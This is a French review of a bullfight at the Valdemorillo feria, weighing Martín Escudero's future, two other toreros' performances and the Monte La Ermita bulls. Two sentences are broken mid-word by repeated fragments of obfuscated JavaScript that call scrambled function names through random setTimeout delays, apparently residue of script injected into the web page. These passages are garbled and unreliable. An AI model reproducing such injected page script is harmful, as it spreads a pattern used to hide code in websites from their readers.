FERIA DE VALDEMORILLO : MARTIN ESCUDERO A DE L’AVENIR

Martín Escudero, neveu d’Adolfo Martín et parent éloigné de José Tomás, son paradigme comme torero, a de l’avenir dans la tauromachie. Le présent se serait éclairci s’il avait coupé les deux oreilles à son premier toro. Mais il n’en coupa qu’une. Devant un toro comme celui qu’il a affronté, quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il saura écouter le public ou que l’intuition de la charge stimulera son cœur au moment requis, il lui coupera deux oreilles voire la queue. Car il ne manque pas de courage, un courage sec, sans exhibitionnisme.

Et son placement devant le toro est celui d’un torero expérimenté. Et par ailleurs comme son esthétique est belle, profonde, la demi poitrine recueillant la charge, la ceinture coulante comme un tire-bouchon et les poignets, en cristal, achevant loin les passes, tout indique qu’il pourrait être une figura del toreo. Le sera-t-il ? J’ai soudain un doute : Martín a du sang froid, mais aura-t-il ce sang chaud, celui qui aiguillonne la surdose esthétique et propulse les grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes faenas des figuras ? Il faut lui laisser du temps, il n’a toréé que quatre corridas de toros. Heureusement, il est entre de bonnes mains, celles de Raúl Galindo, un maestro.

À son second toro, très brave mais qui ne baissait pas la tête, il lui manque une pique car lors de sa seconde rencontre au cheval il ne fut pas piqué. Une erreur absurde du matador et de sa cuadrilla, non celle de son bon et obéissant picador. Si les braves charges avaient été tempérées par la pique, je ne serais pas en train de parler de l’avenir de Martín Escudero mais de son présent.

En premier sur l’affiche, Paulita qui ne fut pas à la hauteur de son premier et brave toro et coupa deux oreilles au quatrième, un toro de rêve. Mais il ne m’a pas fait vibrer. Encore moins Victor Barrio, qui n’a pas saisi sa chance devant aucun de ses deux toros. Il n’a pas d’excuses, même s’il a coupé une oreille.

La corrida de Monte La Ermita, fer qui est aujourd’hui entre les mains de Juan Antonio San Román, fut extraordinaire : brave, bien faite, noble et encastée, elle dénotait bien ses origines Torrestrella, via Carmen Segovia. Six toros sortirent en piste et les six furent braves. Félicitations.

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